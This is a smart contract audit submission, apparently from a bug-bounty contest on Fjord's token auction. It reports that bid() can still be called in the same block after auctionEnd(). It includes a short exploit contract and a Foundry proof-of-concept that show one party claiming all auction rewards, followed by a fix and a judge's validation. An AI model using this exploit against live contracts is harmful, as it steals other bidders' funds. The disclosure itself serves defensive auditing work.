Fjord Token Staking
Fjord
DeFiFoundry
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

In certain circumstances malicious user can bid after calling auctionEnd (ended = true) controlling the reward he will receive

bengalcatbalu

Summary

The user can bid when block.timestamp <= auctionEnd. (this is the only check) The auctionEnd function that ends the auction and calculates the multiplier can be called when block.timestamp >= auctionEnd.

Thus, at the moment when block.timestamp = auctionEnd, both the bid function and the auctionEnd function can be called. And the bid function can be called AFTER auctionEnd.

function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
....
}
....
function auctionEnd() external {
if (block.timestamp < auctionEndTime) {
revert AuctionNotYetEnded();
}
.....
}

Note that auctionEnd and Bid have no restrictions on who can call them, so a malicious User can call them both in the same transaction

Contract Exploit {
function attack(FjordAuction auction, uint amount) external {
auction.auctionEnd();
auction.bid(amount);
auction.claimTokens();
}
}

So do backRunning by placing the bid function call in the same block as auctionEnd, but after the auctionEnd call.

This way the user's bid will not be counted in the multiplier calculation, and he will be able to contribute so many tokens to take an unfair number of rewards out of the auction (if he has enough points, all rewards from the protocol)

Vulnerability Details

The AuctionEndTime must match the block.timestamp for the attack to be possible. Given that blocks appear every 12 seconds on mainnet, the probability of this happening is 1:12 (approx 0.08 or 8%). Which is quite a high probability, provided that auctions will be created frequently.

Here is a numerical example in which a user can steal all the rewards from the protocol in this way.

Let's imagine that totalTokens = 100 (100e18) and totalBids = 100 (100e18)

After calling auctionEnd multiplier = 1e18

Thus, a malicious user must make a deposit equal to 100 (100e18) for his claimableRewards to be equal to 100 (100e18).

POC

function testExploit() public {
address bidder1 = address(0x2);
address bidder2 = address(0x3);
uint256 bidAmount = 100 ether;
uint256 endTime = block.timestamp + biddingTime;
deal(address(fjordPoints), bidder1, bidAmount);
deal(address(fjordPoints), bidder2, bidAmount);
vm.startPrank(bidder1);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
​
vm.warp(endTime);
vm.startPrank(bidder2);
console.logUint(fjordPoints.totalSupply());
auction.auctionEnd();
console.logUint(fjordPoints.totalSupply()); // because of totalSupply of points is
//zero - burn will
//revert with underflow exception, so need to use better test environment
//to run the test(all other tests with auctionEnd from protocol team also doesnt work )
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
auction.claimTokens();
vm.stopPrank();
​
assertEq(auctionToken.balanceOf(address(auction)), 0);
}

Impact

This vulnerability allows an attacker to steal all rewards from an auction with a probability of 1 / 12 =0.08 (8%) without risking anything. Considering that the auction will be created several times - the probability of 8% to be stolen is a high probability with zero risk for the attacker (in fact, he risks only paying the commission, if he does not hit the right block, his transaction will simply not be executed).

Impact: High

Tools Used

manual review

Recommendations

Add a check for bid and unbid functions

if (ended) {
revert AuctionEndAlreadyCalled();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Users can bid in the same block when the actionEnd could be called (`block.timestamp==actionEndTime`), depending on the order of txs in block they could lose funds

The protocol doesn't properly treat the `block.timestamp == auctionEndTime` case. Impact: High - There are at least two possible impacts here: 1. By chance, user bids could land in a block after the `auctionEnd()` is called, not including them in the multiplier calculation, leading to a situation where there are insufficient funds to pay everyone's claim; 2. By malice, where someone can use a script to call `auctionEnd()` + `bid(totalBids)` + `claimTokens()`, effectively depriving all good faith bidders from tokens. Likelihood: Low – The chances of getting a `block.timestamp == auctionEndTime` are pretty slim, but it’s definitely possible.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.